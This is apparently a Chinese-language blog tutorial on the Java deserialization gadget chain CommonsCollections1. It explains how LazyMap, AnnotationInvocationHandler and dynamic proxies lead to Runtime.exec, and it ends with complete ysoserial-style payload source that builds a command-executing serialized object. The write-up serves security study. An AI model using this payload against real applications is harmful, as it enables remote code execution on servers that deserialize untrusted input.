反序列化Gadget学习篇三 CommonCollections1

上篇提到了CC0.5 使用的是TransformedMap,但是如果阅读ysoserial的源码会发现,CommonCollections1并没有用到TransformedMap,而是LazyMap。

LazyMap是什么

LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承AbstractMapDecorator。
LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的factory.transform。其实这也好理解,LazyMap的作用是“懒加载”,在get找不到值的时候,它会调factory.transform方法去获取一个值:

// LazyMap.get():
    public Object get(Object key) {
        if (!super.map.containsKey(key)) {
        // 这个factory就是一个Transformer
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

看LazyMap的源码可以看到,一般是调用static decorate 方法,传入一个Transformer或者Transformer的factory,初始化一个LazyMap对象并返回:
反序列化Gadget学习篇三 CommonCollections1
这样就得到了一个LazyMap对象,只要调用这个对象的get方法,传入一个不存在的键,就会调用TransformerChain完成命令执行。
但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,因为在sun.reflect.annotation.AnnotationInvocationHandler的readObject方法中并没有直接调用到Map的get方法。
所以ysoserial用了另一个路线,AnnotationInvocationHandler类的invoke方法,调用了get:

    public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else {
            assert var5.length == 0;

            if (var4.equals("toString")) {
                return this.toStringImpl();
            } else if (var4.equals("hashCode")) {
                return this.hashCodeImpl();
            } else if (var4.equals("annotationType")) {
                return this.type;
            } else {
                // get调用点
                Object var6 = this.memberValues.get(var4);
                // get调用点
                if (var6 == null) {
                    throw new IncompleteAnnotationException(this.type, var4);
                } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }

                    return var6;
                }
            }
        }
    }

思路变成了 AnnotationInvocationHandler#invoke -> LazyMap#get -> TransformChain -> runtime.exec 下面一个问题就是如何在反序列化的过程中调用到AnnotationInvocationHandler.invoke。ysoserial使用的是Java的代理

Java动态代理

一定要理解Java动态代理在干什么,调用流程是什么。
代理的目的是增强被代理类的功能,但是实际使用的过程中也可以不去调用原来的方法,就实现了类似hook。
动态代理类必须要实现InvocationHandler接口的invoke方法
这个过程会用到java.lang.reflect.Proxy,主要是newProxyInstance和getProxyClass方法,一个是实例化一个新代理对象,返回实例,第二个是获取代理对象的java.lang.Class对象。
关键的一行代码,实例化一个代理类:

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

三个参数,第一个是ClassLoader,第二个是需要代理的对象合集(接口列表),第三个是InvocationHandler接口的对象,里面包含具体的逻辑代码,包括要操作的对象(在实例化时传入),增强的方法,和原来的方法调用(method.invoke())

public class ExampleInvocationHandler implements InvocationHandler {
    protected Map map;

    public ExampleInvocationHandler(Map map){
        this.map = map;
    }

    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        //判断如果函数名是get,就返回一个Hacked Object
        if (method.getName().compareTo("get") == 0){
            System.out.println("Hook method: +" + method.getName());
            return "Hacked Object";
        }
        //否则正常调用函数
        return method.invoke(this.map, args);
    }
}

实例化调用,运行可以发现,虽然Map中放入的hello值为world,但是获取到的结果是hacked Object

public class App {
    public static void main(String[] args) {
        InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        proxyMap.put("hello", "world");
        String result = (String)proxyMap.get("hello");
        System.out.println(result);

    }
}

反序列化Gadget学习篇三 CommonCollections1

组合

通过名字也可以看出,AnnotationInvocationHandler本身就是一个InvocationHandler接口的实现类,我们用Proxy对这个对象进行代理,在readObject的时候,只要调用我们用LazyMap.decorate初始化的Map的任意方法,都会执行到AnnotationInvocationHandler#invoke,触发LazyMap#get。
有了CC0的基础,直接修改代码。首先用LazyMap替换TransformerMap,

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

CC0直接把AnnotationInvocationHandler对象序列化了, 这里我们要对这个对象进行代理

// handle 是绑定了outermap的AnnotationInvocationHandler
InvocationHandler handle = (InvocationHandler)constructor.newInstance(Retention.class, outerMap);

Map proxymap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handle);

返回的是一个Map,无法直接序列化,我们的入口还是AnnotationInvocationHandler,因此要再封装一层:

InvocationHandler handler2 = (InvocationHandler) constructor.newInstance(Retention.class, proxymap);

把handler2序列化发送,即可触发。总的顺序:
初始化恶意transformerChain -> 绑定到一个Map -> Map绑定到AnnotationInvocationHandler -> 对AnnotationInvocationHandler进行代理得到Map2 -> Map2再绑定到AnnotationInvocationHandler2 ->序列化发送

ysoserial的其他操作

yaoserial在返回对象前,还有一个步骤:

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); 

反射修改transformerChain的iTransformers值为恶意的transformers,也就是在最后一步前才把恶意的transformers设置好。
原因是在使用Proxy代理了map对象后,我们在任何地方执行map的方法就会触发Payload弹出计算器,所以,在本地调试代码的时候,因为调试器会在下面调用一些toString之类的方法,导致不经意间触发了命令。

总结

这部分分析了LazyMap的作用,构造了poc,但是LazyMap仍然无法解决决CommonCollections1这条利用链在高版本Java(8u71以后)中的使用问题。因此这两个利用链实际上可使用的范围基本相似。在更高版本上需要使用其他的Gadget。

完整代码:

package qtyso.payloads;

import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import qtyso.payloads.annotation.Authors;
import qtyso.payloads.annotation.Dependencies;
import qtyso.payloads.annotation.PayloadTest;
import qtyso.payloads.util.Gadgets;
import qtyso.payloads.util.JavaVersion;
import qtyso.payloads.util.PayloadRunner;
import qtyso.payloads.util.Reflections;

/*
    Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()

    Requires:
        commons-collections
 */
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {

    public InvocationHandler getObject(final String command) throws Exception {
        final String[] execArgs = new String[] { command };
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                    String.class, Class[].class }, new Object[] {
                    "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
                new InvokerTransformer("exec",
                    new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

        return handler;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsCollections1.class, args);
    }

    public static boolean isApplicableJavaVersion() {
        return JavaVersion.isAnnInvHUniversalMethodImpl();
    }
}

参考链接

https://www.slideshare.net/frohoff1/deserialize-my-shorts-or-how-i-learned-to-start-worrying-and-hate-java-object-deserialization
https://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478
https://www.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class

上一篇:Linux usb gadget框架概述


下一篇:Ubuntu16安装one_gadget